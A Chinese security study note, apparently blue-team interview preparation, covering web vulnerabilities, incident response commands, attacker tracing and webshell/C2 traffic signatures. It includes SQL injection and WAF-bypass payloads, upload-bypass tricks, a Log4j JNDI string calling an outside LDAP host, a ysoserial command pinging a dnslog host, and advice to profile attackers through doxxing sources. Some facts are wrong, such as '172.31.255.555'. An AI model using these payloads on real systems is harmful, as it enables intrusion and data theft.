整理人:Drblack

网络基础

私有地址段:

A类地址范围:10.0.0.0—10.255.255.255;

B类地址范围:172.16.0.0—172.31.255.555;

C类地址范围:192.168.0.0—192.168.255.255

ISO七层模型

image-osi

TCP、UDP区别

TCP与UDP基本区别

  1. 基于连接与无连接

  2. TCP要求系统资源较多,UDP较少;

  3. 流模式(TCP)与数据报模式(UDP);

  4. TCP保证数据正确性,UDP可能丢包

  5. TCP保证数据顺序,UDP不保证

  6. TCP 有流量控制(拥塞控制),UDP 没有

TCP 协议的流量控制是基于滑窗协议实现的。

TCP握手和挥手

三次握手、四次挥手

image-20230522162925101

HTTP和HTTPS

HTTP 超文本传输协议 端口80

HTTPS 是支持加密和验证的HTTP。端口443

两种协议的唯一区别是HTTPS 使用TLS (SSL) 来加密普通的HTTP 请求和响应,并对这些请求和响应进行数字签名

SSL

SSL通过握手在客户端和服务器之间建立会话,完成通信双方身份的验证、密钥和加密套件的协商,从而确保客户端与服务器之间的通信不被窃听,保证网络上数据传输的安全性。

SSL为HTTP提供安全连接,可以防止中间人攻击和网络监听,从而很大程度上改善了万维网的安全性问题,这就是SSL的起源。

DNS

53端口

OWSTP10

1.SQL 注入:2、失效的身份认证和会话管理 3、跨站脚本攻击 XSS 4、直接引用不安全的对象 5、安全配置错误 6、敏感信息泄露 7、缺少功能级的访问控制 8、跨站请求伪造 CSRF 9、使用含有已知漏洞的组件 10、未验证的重定向和转发

SQL注入

布尔盲注

报错注入:floor ExtractValue updataxml

updataxml

是更新xml文档的函数

1
2
3
4
5
6
7
8
9
10
UPDATEXML (XML_document, XPath_string, new_value);

XML_document:String格式,为XML文档对象的名称

XPath_string :Xpath格式的字符串

new_value:String格式,替换查找到的符合条件的数据

常用语句 select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
concat()函数是将里面的内容连成一个字符串,因此上述例子不符合updatexml函数中间的XPATH_string的格式,从而出现格式错误,爆出需要的内容

ExtractValue

extractvalue函数与updatexml函数类似,extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容

1
2
3
语法:extractvalue(目标xml文档,xml路径)

其中第二个参数不符合XML路径格式就会报错。

floor

1
2
3
4
5
实现报错的原因是:虚拟表的主键重复

因为临时表的主键中并不存在test0,在插入前,floor(rand(0)*2)又计算一次,拼接后与test1,但是是直接插入,即使临时表中已经有了主键test1也硬要插入,从而导致主键重复报错

参考文章:https://cloud.tencent.com/developer/article/2018961

时间盲注

堆叠注入

成因是存在mysqli_multi_query函数

宽字节注入:

  1. 正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的’,就会被转义为';
  2. 若存在宽字节注入,输入%df%27%df'时,经过单引号的转义变成了%df%5c%27%df\',之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字”運”,单引号逃逸出来,从而绕过转义造成注入漏洞。

二次注入:

​ 可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

image-20241016084643414

User-Agent头注入

Cookie注入

万能密码

常见waf绕过办法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1 大小写绕过
此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。

2 替换关键字双写
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
3 注释

// -- /**/ # --+ -- - ; %00 --a

3.空格绕过
()代替 两个空格代替一个空格; 用Tab代替空格 %0a代替空格 还有最基本的利用注释替换空格:/**/

4 内联注释
有些WAF的过滤关键词像/union\sselect/g,就比如上面说的,很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字,我们就要进一步分离这两个词来绕过这个过滤器。

id=1/*!UnIoN*/SeLeCT
/*!select*//*!**//*!from*//*!yz*/;
5 替换关键字双写绕过
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

SELselectECT 1,2,3,4
6 URL编码
有时后台界面会再次URL解码所以这时可以利用二次编码解决问题

7 引号绕过(使用十六进制)

9 比较符(<,>)绕过
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

select strcmp(left(database(),1),0x32);#lpad('asd',2,0)

if(substr(id,1,1)in(0x41),1,3)

sqlmap获取shell

  • union select 后写入
  • 利用分隔符写入类似于SQLMAP的 –os-shell命令
  • Mysql log写入(有读写的权限,root权限,gpc关闭、绝对路径)

SQL注入常见WAF如 D盾 安全狗怎么绕:

unicode编码绕过、注释语句绕过、类型转换绕过、关键字拆分绕过、大小写绕过

预防方法

  • 预编译
  • PDO
  • 正则过滤

SQL注入读取文件

  • load_file()

SQL注入漏洞怎么修复

  • 黑名单
  • 白名单
  • 敏感字符过滤
  • 使用框架安全查询
  • 不要把网站的错误信息返回给客户端
  • WAF
  • 数据库审计
  • 云防护
  • IPS(入侵防御系统)

mysql中like查询会会非常缓慢,如何进行优化

  • 分词索引

XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
第一种:反射型XSS攻击

反射型XSS攻击一般是攻击者通过特定手法,诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类XSS攻击通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端Cookies或进行钓鱼欺骗

第二种:DOM-based型XSS攻击

DOM型XSS是基于DOM文档对象模型的一种漏洞。严格地说,DOM型XSS其实算反射型XSS,区别在于DOM型XSS并不会和后台进行交互,是完完全全的Web前端安全问题,要做防御也只能在客户端上进行防御。

首先,客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它并不与服务端进行交互而是从客户端获得DOM中的数据(如从URL中获取数据)并在本地执行;其次,浏览器用户可以操纵DOM中的一些对象如URL、location等;因此,当攻击者可以控制一些DOM对象、输入一些恶意JS代码,而客户端的脚本并没有对用户输入内容进行有效的过滤就传入一些执行危险操纵的函数如eval等或直接输出到页面时,就会导致DOM型XSS漏洞的存在。

需要特别注意以下的用户输入源document.URL、location.hash、location.search、document.referrer等。

第三种:存储型XSS攻击

攻击者事先将恶意代码上传或者储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此存储型XSS攻击的危害会更大。此类攻击一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中

XXE

xml外部实体注入,发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

危害:

1.DOS攻击

2.SSRF攻击

3.使用file协议读取任意文件

4.端口探测

5.执行系统命令

文件上传

  • 本地js绕过
  • MIME验证绕过(Content-Type)
  • 制作图片马
  • .htaccess上传
  • 00截断
1
2
3
4
5
6
7
8
9
后缀名更改:比如PHP3、PHP5;

后缀名大小写绕过:PHP

后缀名双写绕过:PPHHPP

后缀名后加空格:php+空格

后缀名后加“.”:php.

文件包含

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

php引发文件包含漏洞的四个函数

1
2
3
4
5
6
7
8
include()
include_once()
require()
require_once()

include()和require()的区别:
require()如果在包含过程中出错,就会直接退出,不执行后续语句
include()如果在包含过程中出错,只会提出警告,但不影响后续语句的执行

本地文件包含漏洞

顾名思义,指的是能打开并包含本地文件的漏洞。大多数情况下遇到的文件包含漏洞都是本地文件包含漏洞。

远程文件包含漏洞

是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。
但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置
allow_url_fopen=On allow_url_include=On

利用协议:file、php伪协议、http伪协议、zip://伪协议

CRLF

重点:需要有http请求,才能利用crlf,要不然没法将构造的数据包发出去

CRLF 指的是回车符(CR,ASCII 13,\r,%0d)和换行符(LF,ASCII 10,\n,%0a)的简称(\r\n

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。

所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些恶意的HTTP Header,如会话Cookie,甚至可以注入一些HTML代码。这就是CRLF注入漏洞的核心原理。

在实际应用中,如果Web应用没有对用户输入做严格验证,便会导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出。

在拼接http响应头的过程中,服务器检测到\r\n的时候会按照http规范认为已经到达一行的末尾,后面的数据输出到下一行。在对文件进行io读写的时候也经常会以\r\n或者\n作为判断行末尾的依据,后面的数据换行后再输出,这两个的原理是一样的。
CRLF这种攻击本质和sql注入、xss一样,都是由于没有对用户输入进行完全检查与过滤导致的漏洞,区别在于sql注入作用在数据库,xss的效果体现在网页主体,clrf则会将恶意代码输出在响应头中。

SSRF

服务器端请求伪造

1
2
3
4
5
很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容

如果没有对指定URL做过滤措施,就有可能存在SSRF漏洞

修复:可以通过url白名单或限制内网ip呀,过滤返回信息呀,统一错误信息呀等进行防护。

问题函数:curl(),file_get_contents(),fsockopen()

1
2
3
4
5
6
7
8
9
10
11
file:///  -- 本地文件传输协议,主要用于访问本地计算机中的文件

dict:// -- 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628

sftp:// -- SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)

ldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议

tftp:// -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机

gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前

CSRF

用户在访问了网站A的情况下,同时访问B网站(恶意),B返回一些攻击性代码,并发出一个请求要求访问第三方站点A,从而进行操作。

防护

尽量使用POST,限制GET;浏览器Cookie策略;加验证码; Referer Check;Anti CSRF Token

  1. 配合CSRF Token校验
  2. 使用同源策略

序列化漏洞

定义

序列化:把对象转化为可传输的字节序列过程称为序列化。

反序列化:把字节序列还原为对象的过程称为反序列化

在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发

参考链接:https://xz.aliyun.com/t/9234

常用分析工具

日志分析 LogParser

河马

D盾 分析查杀木马

linux常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
find 查找与文本操作   
grep 命令用于查找文件里符合条件的字符串。
strings 打印文件中可打印的字符
head 显示文件默认前10行内容
more 类似于more 但是一页一页的显示
tail 命令可用于查看文件的内容, -f 常用于查阅正在改变的日志文件。
lsof 查看指定用户启动的进程 -i :3306 # 查看谁在使用某个端口 -nPi 查看内部对外的网络连接
lastlog 最后一次登录 lastb 登录失败记录 last 登陆成功记录
netstat 查看网络进程 命令用于显示各种网络相关信息,如网络连接,路由表,接口状态 a参数是列出所有连接,n是不要解析机器名,p列出进程名
rm 删除操作
who 查看当前用户
w 查看系统信息,知道某一时刻用户行为
uptime 查看登陆了多久,多少用户
pstree命令,该命令以树状图的方式展现进程之间的派生关系
ps 列出进程信息,快照
top命令 实时显示各个线程情况

应急响应linux

应急思路:首先通过安全设备拦截攻击包体和日志分析,了解攻击者具体进行了什么样的攻击,通过黑白结合模拟方法进一步判断攻击者的攻击方式。复现之后对漏洞进行修复,对攻击者进行溯源。

1.查看History详细信息

查看命令执行记录 ~/.bash_history分析近期是否有账户执行过恶意操作系统命令

2.查看文件改动

1
2
3
4
5
6
7
8
9
find ./ -mtime 0 -name "*.php" 

检查最近创建的php、jsp文件和上传目录 例如要查找24小时内被修改的JSP文件:

stat /etc/passwd #查看密码文件上一次修改的时间,如果最近被修改过,那就可能存在问题。

cat /etc/passwd | grep -v nologin #查看除了不可登录以外的用户都有哪些,有没有新增的

cat /etc/passwd | grep x:0 #查看哪些用户为root权限,有没有新增的

3.账号

1
2
3
4
5
6
7
1、查询特权用户特权用户(uid 为0) 

awk -F: '$3==0{print $1}' /etc/passwd

2、查询可以远程登录的帐号信息

awk '/\$1|\$6/{print $1}' /etc/shadow

4.域名hosts

有一些挖矿程序会修改 /etc/hosts文件,请看一下其中内容是否被更改过

5.各类日志

1
分析安全日志 /var/log/secure查看是否有IP爆破成功
  • 分析/var/spool/mail/root Root邮箱,当日志被删除可查询本文件
  • 分析中间件、Web日志,如access_log文件
  • 调用命令last/lastb翻阅登录日志
  • lsof -i :3306 # 查看谁在使用某个端口
  • 分析/var/log/cron文件查看历史计划任务
  • 分析redis、sql server、mysql、oracle等日志文件

6.进程排查:

  • 查找进程pid
  • netstat -antlp # 检查当前存在的连接与监听端口
  • lsof -i:port 定位可疑进程pid
  • 通过pid查找文件
  • cd /proc/pid号 即可进入到该进程目录中ls -ail 结果中exe对应的就是该pid程序的目录ls -ail |grep exe
  • 查看各进程占用的内存和cpu top
  • 显示当前进程信息 ps
  • 实现某个进程的精确查找 ps -ef | grep apache
  • 结束进程 kill -9 pid
  • 查看进程树 pstree -p 查找异常进程是否有父进程
  • 也可以直接搜索异常进程的名程来查找其位置, find / -name 'xxx'

7.准备查后门的工具

D盾 河马查杀

8.清理处置:杀掉异常进程,删除异常文件,打补丁或者修复相关文件等。

9.产出报告:对此次安全事件进行一个完整的文档描述。

应急响应windows

可疑账户

查看服务器是否会新增可疑账号、新增账号。打开cmd输入lusrmgr.msc(本地用户和组)
看管理员组有没有新增可疑的用户。如果有的话就禁用或者删除即可

克隆账户

查看服务器是否存在隐藏账号、克隆账号等。首先打开注册表查看管理员对应键值
HKEY_LOCAL_MACHINE-SAM-SAM-Domains-Account-users

可疑端口

通过查看外连端口,排查端口对应进程netstat -ano

可疑进程

tasklist | findstr “pid”或者输入msinfo32进行一个可视化的查看

日志分析

中间件日志和系统日志。结合日志分析工具LogParser排查

1
2
3
4
5
6
4624 - 登录成功
4625 - 登录失败
4634 - 注销成功
4672 - 使用超级用户(管理员)进行登录
4776 - NTLM身份验证登录系统
4648 - 试图使用明确的凭证登录(这个会记录IP等信息)

文件分析

结合一些工具:火绒剑、procexp进行分析。

1
2
3
文件分析技巧
1. 文件签名
2. 文件链接DLL

计划任务

查看计划任务中有无可疑项

半自动:D盾

溯源

思路

邮件溯源

在攻击者通过邮件钓鱼攻击成功的安全事件中,通过分析钓鱼邮件可以获得一些有效信息,主要可以分为以下几类:

image-20230522162925101

  1. 发件 IP、发件账号、邮件内容(格式特点)可用于将攻击者投递的邮件分类;

  2. 发件账号中可能存在个人信息,如:“账号@qq.com”、“昵称@gmail.com” 等此类字符串,检索账号或昵称ID可用于挖掘身份信息;

  3. 邮件内容大致可分以下三类:投递物(后门木马、其他攻击组件);钓鱼网站,包含域名、IP 等信息;其他,需要研究邮件中的字符串,邮件可能存在攻击者的其他账号;

  4. 发件 IP、发件服务器(此类属攻击者资产)。

后门溯源

image-20230522162925101

代码逻辑:由于人天生的惰性,红队开发者可能会复用以前的一些代码。如果代码特点比较明显,可依此进行分类拓线。

字符串特点:字符串特点用于将红队投递的样本分类及拓线出更多的样本,将检索到的样本再进行分析并分析历史样本(如测试阶段的样本)查找更多暴露信息。

元数据:(投递的诱饵不同,得到的元数据不同。诱饵类型包括:LNK、EXE、DOCX等)。EXE 文件:存在 PDB 信息,部分开发人员会将项目存放在桌面,这会导致编译信息带入开发人员的终端名称(极大可能为个人昵称);LNK 文件:由于 LNK 文件在新建的时候会带入计算机名称,这可以用于样本的拓线和分类,极少情况下可找到个人昵称;DOCX 文件:可能存在“最后编辑者名称”。

回连 C2:C2属攻击者资产。

攻击者资产溯源

获得到ip或者域名后进行

image-20230522162925101

  1. 域名自身特点(昵称字符串)看看有没有线索,是不是xx安全团队

  2. 如果只有ip,尝试ip反查域名,查询Whois 信息,可能包含:注册者邮箱、电话号码等;

  3. 搭建网站(通过图中四种方法探测资产的现有数据和历史数据)。网站可能存在红队的其他攻击组件;网站存在个人昵称、简介等;网站备案信息;

  4. IP 信息需要考虑如下两点:是否定位到某个安全公司的地理位置;是否标记为某个安全公司的网关。

攻击IP,攻击类型,恶意文件,攻击详情等信息都是溯源的切入点,通过攻击类型来分析攻击详情的请求包可以查找有没有攻击特征遗留,对IP地址进行威胁情报查询可以判断对方所用的IP是否为代理IP,以便于进步一追溯攻击者信息。,如发现攻击者的网络圈子ID或手机号,可通过不限于百度、谷歌、SRC信息、微博、贴吧、支付宝、tg社工库等手段收集信息、第四步:如果有蜜罐设备,则分析蜜罐设备日志,如长亭谛听。

image-20230522162854408

反制

首先可以通过安全设备查到攻击ip,然后通过相关网站反查手机号和邮箱,之后可以通过社交软件或购物平台描绘出攻击者画像。

常用反查网站有ipwhois.cnnic,ip.tool.chinaz,chaipip.com等。

image-20220107173039804

取证工具

1
2
3
4
PC Hunter      Windows系统信息查看软件,也是手工杀毒辅助软件。软件可以查看内核文
件、驱动模块、隐藏进程、注册表等等信息

火绒剑 软件监控,分析样本行为的软件

反制溯源工具准备

1
2
3
Railgun:集成了端口扫描、端口爆破、web指纹扫描、漏洞扫描、漏洞
利用以及编码转换功能,大批量多线程端口扫描对HW反制工作较为友
好。

邮件溯源

1
2
3
4
5
1.检测到异常邮件,上报并与指挥部确认是否发送该邮件
2.封禁该发件人,登陆反垃圾邮件网关查询同主题邮件溯源
3.通过分析主动截获的邮件头,查找来信IP
4.根据发送来的附件进行分析。看是否有回连的情况
5.然后查看接受邮件的主机,进行取证

误报

误报其实个人看来分为两类

  1. 将正常操作误报为危险操作

这种情况下,常常为一些正常业务导致的告警。比如

  • 在一些银行业务中,会涉及到接口获取个人信息,比如身份证等,监控设备会将这些内容认为是一个告警。
  • 内网主机在监控期间,运维人员执行了一些敏感命令,导致了告警

以上情况都要根据实际的现场人员去核实、或者多观察源ip,排查该ip一段时间内的流量,去判断是否是一个误报

  1. 将未攻击成功误报为攻击成功

这种常见为一些实际攻击的情况。

  • 比如一个文件上传漏洞,在攻击者尝试上传木马后,由于服务器代码逻辑问题,始终返回200,导致设备告警。其实文件并未上传成功

​ 机器一般他报告里面都会把攻击者的命令,木马文件啥的都写出来,还会生成一个md5,可以在病毒库里面对照md5看看是不是误报,还可以看看命令是不是攻击命令,有可能是管理员在操作,一些危险操作比如创建用户,上传文件啥的就要向上面判断去确认是不是管理员在操作,不是就说明被攻击了。也可以看到木马文件的内容,如果里面是一句话那肯定就不是误报。

寻找Webshell的方法

1、文件内容中的恶意函数

PHP:eval(、system(、assert(

JSP:getRunTime(、 FileOutputStream(

ASP:eval(、execute(、 ExecuteGlobal(

2、Web日志中的webshell特征

Darkblade:goaction=login

JspSpy:o=login

PhpSpy:action=phpinfo

Regeorg:cmd=connect

Other:cmd=

3、贴合Web业务中的url来分析Web日志

4、每天新增的动态脚本文件

5、低频访问的脚本文件

常见加密算法

最常见的两种加密算法是对称加密和非对称加密。

对称密码算法

DES

https://www.cnblogs.com/idreamo/p/9333753.html

AES

https://www.cnblogs.com/luop/p/4334160.html

  1. 运算速度快,在有反馈模式、无反馈模式的软硬件中,Rijndael都表现出非常好的性能。
  2. 对内存的需求非常低,适合于受限环境。
  3. Rijndael 是一个分组迭代密码, 分组长度和密钥长度设计灵活。
  4. AES标准支持可变分组长度,分组长度可设定为32 比特的任意倍数,最小值为128 比特,最大值为256 比特。
  5. AES的密钥长度比DES大, 它也可设定为32 比特的任意倍数,最小值为12 比特,最大值为256 比特,所以用穷举法是不可能破解的。
  6. AES算法的设计策略是WTS。WTS 是针对差分分析和线性分析提出的,可对抗差分密码分析和线性密码分析。

而AES的优点, 正是 DES的缺点所在。

非对称加密体系

RSA算法

  • RSA 是最著名的公钥密码算法之一,广泛用于加密、数字签名以及密钥交换。
  • 其安全性基于大整数分解问题的难度。

数字签名

  • 数字签名:使用私钥进行签名,公钥进行验证。
  • 公钥密码加密解密:使用公钥进行加密,私钥进行解密。

流量特征

菜刀

base64编码

有一些关键代码没有被加密,容易被识别

1、eval执行php代码
2、base64_decode($POST[z0]) ; 设置payload的编码方式
3、&z0=… 是攻击载荷

菜刀会伪造 XFF 头,且每一次利用菜刀与webshell建立连接,XFF 都会变化。

image-20230522162913498

蚁剑

默认是URL编码

流量特征

因为蚁剑在数据包中实际上是将解码函数一同发送到服务端,那几个解码函数是没法加密的,所以产生一个很明显的流量特征。

data中含有@ini_set("display_errors", "0");@set_time_limit(0);header中含有antSword字眼

image-20230522162925101

冰蝎

AES对称加密

冰蝎2流量特征

  • 2.0中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
  • Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2
  • 建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;
1
2
3
4
5
6
7
ACCEPT字段:冰蝎2默认Accept字段的值很特殊 

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

UA字段:冰蝎内置了十余种 UserAgent ,每次连接 shell 会随机选择一个进行使用。但都是比较老的,容易被检测到,但是可以在burp中修改ua头。 *UserAgent可由黑客自定义,因此该特征可能会被绕过

Content-Length: 16, 16就是冰蝎2连接的特征

冰蝎3

冰蝎3.0 取消动态密钥获取

新增了无动态密钥交互。只有在无动态密钥交互失败后,才会进入常规的密钥交互阶段。密钥生成可以看出,使用密码的md5结果的前16位

冰蝎3流量特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
特征分析:
弱特征
长连接(可绕过)
冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。因此默认情况下,请求头和响应头里都会带有:
Connection: Keep-Alive

弱特征
user-Agent头 默认16个userAgent

强特征
1.请求包中content-length 为5740或5720
2.Content-Type: application/octet-stream属于强特征 意思是,只能提交二进制
3.传递的密钥 强特征
加密所用密钥是长度为16的随机字符串,小写字母+数字组成。密钥传递阶段,密钥存在于Response Body

冰蝎4

采用Rc4加密

哥斯拉

java和c#的载荷原生实现AES加密,PHP使用亦或加密。

特征:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.User-Agent (弱特征)
哥斯拉客户端使用JAVA语言编写,在默认的情况下,如果不修改User-Agent,User-Agent会类似于Java/1.8.0_121(具体什么版本取决于JDK环境版本)。

2.Accept(弱特征)
Accept为text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
对这个默认特征应该很熟悉了,之前冰蝎也出现过同样的Accept。为什么会这么巧合出现两个工具都会出现这个特征呢,其实这个也是JDK引入的一个特征,并不是作者自定义的Accept(参考:https://bugs.openjdk.java.net/browse/JDK-8177439)。同样的这个默认特征也可以通过自定义头部去除,只能作为默认情况下的辅助检测特征。

3.Cookie (强特征)
在请求包的Cookie中最后的分号。标准的HTTP请求中最后一个Cookie的值是不应该出现;的

4.请求体特征 (较强特征)
截取到特征发现请求都含有"pass="
哥斯拉支持对加密的数据进行base64编码以及原始的加密raw两种形式的通讯数据,对于请求体的检测也要考虑两种情况。

5.响应体特征 (强特征)
和请求体一样,请求响应体也分两个格式,base64编码的和原始加密raw数据。如果请求体采用base64编码,响应体返回的也是base64编码的数据。在使用base64编码时,响应体会出现一个很明显的固定特征。这个特征是客户端和服务端编写的时候引入的。

ps:哥斯拉避免被查杀技巧:

1.不使用默认密码(pass)

2.修改ua头

3.填充垃圾数据(post的左右)

优点

全部类型的shell均过市面所有静态查杀

流量加密过市面全部流量waf

Godzilla自带的插件是冰蝎、蚁剑不能比拟的

sqlmap

–os-shell原理 :就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下

要求

(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

流量特征

1.User-Agent 中带有sqlmap字样

2.上传的小马中,包含所有的命令执行函数

3.sqlmap 成功写入命令马的时候, 会执行一条测试语句echo command execution test

4.再就是sqlmap会判断当前的操作系统, 而判断操作系统就会使用 @@version_compile_os

ICMP隧道流量

异常流量包,数据量更大,且含有命令返回结果

Log4j

1
2
3
4
HTTP请求中包含特定的JNDI注入Payload,如 ${jndi:ldap://x.x.x.x:1389/Exploit}
HTTP请求中包含特定的User-Agent头,如“ Log4j2”或“ Log4jAPI/2.0.8”等
HTTP响应中包含特定的响应码,如“2.0K”等
HTTP响应中包含特定的响应内容,如“JNDI lookup successful”等

nmap

常规使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-sS (SYN扫描)

nmap默认端口扫描方式,执行半开扫描,不完成TCP握手流程。只向目标端口发送一个SYN报文,然后等待响应。

SYN/ACK表示端口在监听 (开放),而 RST (复位)表示没有监听者。

如果多次重发后仍没响应, 该端口就被标记为被过滤。

-sT (TCP扫描)

一般不使用,会留下连接日志。

-sU(UDP扫描)

nmap -v ip 显示详细的扫描过程
nmap -p ip 扫描指定端口
nmap -A ip 全面扫描操作系统
nmap -sP ip 进行ping扫描主机存活
nmap -Pn/-P0 ip 禁ping扫描
nmap -sS ip 进行tcp syn扫描 也叫半开放扫描
nmap -sT ip 进行tcp连接扫描 (准确性高)

nmap -p 1-65535 全端口扫描

nmap流量特征

1.nmap在使用SYN扫描时Windows的窗口值值固定是1024。

2.扫描出的包里面会有一些关键字 比如nmap,nm,nm@p

1
2
3
4
5
6
7
利用:
1、登录Shiro网站,从cookie中获得rememberMe字段的值。
2、利用DNSlog探测,通过ysoserial工具payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
4、使用构造的rememberMe攻击字符串重新请求网站
5、成功触发Payload,在DNSLog获取到目标IP。

MSF

1,端口号:msf默认使用4444端口作为反向连接端口

2,数据内容:msf数据包通常包含特定字符串:(“meterpreter”、”revshell”等)

CS

  1. 心跳包
1
被控端会向服务端发送心跳包。
1
此外,我们还可以使用CS的心跳指令来提取其特征。通常情况下,CS会定期向C2服务器发送心跳包,以保持与服务器的连接。我们可以使用Wireshark等工具,捕获并分析这些心跳包,以识别出CS的特征

心跳特征

  被控端会向服务端发送心跳包。心跳包是一种延迟发送的数据包,默认间隔为 60 秒。

心跳包长度

  心跳包长度固定(长度根据不同的会话或者 CS 版本来提取特征),如果是 http 隧道,则心跳包访问的 url 也是固定。

证书特征

  Cobalt Strike 流量中 tls1.2 流量的证书特征。

中间件漏洞

IIS

IIS的全称是Internet Information Services(互联网信息服务),是微软提供的运行在Windows系统下的中间件,主要用来解析.ASP,.ASA,.CER三种文件格式的文件

1、PUT漏洞

2、短文件名猜解

3、远程代码执行

4、解析漏洞

IIS 7.0

上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell,在使用菜刀链接即可。

Apache

1、解析漏洞

2、目录遍历

Nginx

1、文件解析

2、目录遍历

3、CRLF注入

4、目录穿越

Tomcat

1、远程代码执行

2、war后门文件部署

weblogic

7001/7002端口 t3协议

权限绕过漏洞(CVE-2020-14882)和后台任意命令执行漏洞(CVE-2020-14883)组合拳漏洞

1
2
3
4
5
6
7
8
9
基于T3协议weblogic的反序列化漏洞
EXP和目标服务器建立T3连接,目标服务器weblogic上的JVM虚拟机远程调用了监听程序中的方法执行序列化操作,将流量反弹到nc上

CVE-2017-10271 反序列化漏洞是因为使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令

Weblogic 文件上传漏洞

Weblogic LDAP 远程代码执行漏洞

流量特征:不加密,常见的出网协议也可以用。有很多T3协议的特征,文件操作和冰蝎一样有file-out-stream字段。

Fastjson

fastjson可以实现java对象和Json字符串的相互转换,fastJson漏洞时由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。

fastjson漏洞最基本的特征就是@Type字段,若靶机出网通常会使用rmi进行反弹shell等操作。

Log4j

漏洞原理是log4j2在进行日志记录时会将pattern中用${}包裹起来的变量进行解析,并替换为解析后的值,插入到日志记录的语句中

1
2
3
4
HTTP请求中包含特定的JNDI注入Payload,如 ${jndi:ldap://x.x.x.x:1389/Exploit}
HTTP请求中包含特定的User-Agent头,如“ Log4j2”或“ Log4jAPI/2.0.8”等
HTTP响应中包含特定的响应码,如“2.0K”等
